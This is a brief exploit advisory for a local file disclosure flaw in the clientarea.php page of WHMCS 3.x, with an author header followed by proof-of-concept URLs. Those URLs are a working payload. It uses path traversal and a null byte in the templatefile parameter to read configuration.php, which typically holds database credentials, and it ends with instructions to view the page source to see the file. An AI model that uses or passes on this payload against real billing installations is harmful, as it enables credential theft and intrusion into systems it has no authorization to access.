WHMCS version 3.x.x suffers from a local file disclosure vulnerability.
6aef4d28bb5de1492a986f8df6fef4f00c86ec25e740dcf4942372b2e657d37a
# Title : WHMCS (clientarea.php) Local File Disclosure
# Author : Red Virus >>>c3o@w.cn
# Product : WHMCS ( WHMCompleteSolution )
# Vendor : http://whmcs.com/
# Date : 11/04/2011
# Version : 3.X.x
# Tested on : linux+apache
# Homepage : www.alm3refh.com
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http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00
http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php%00
show the page source to see Disclosure file
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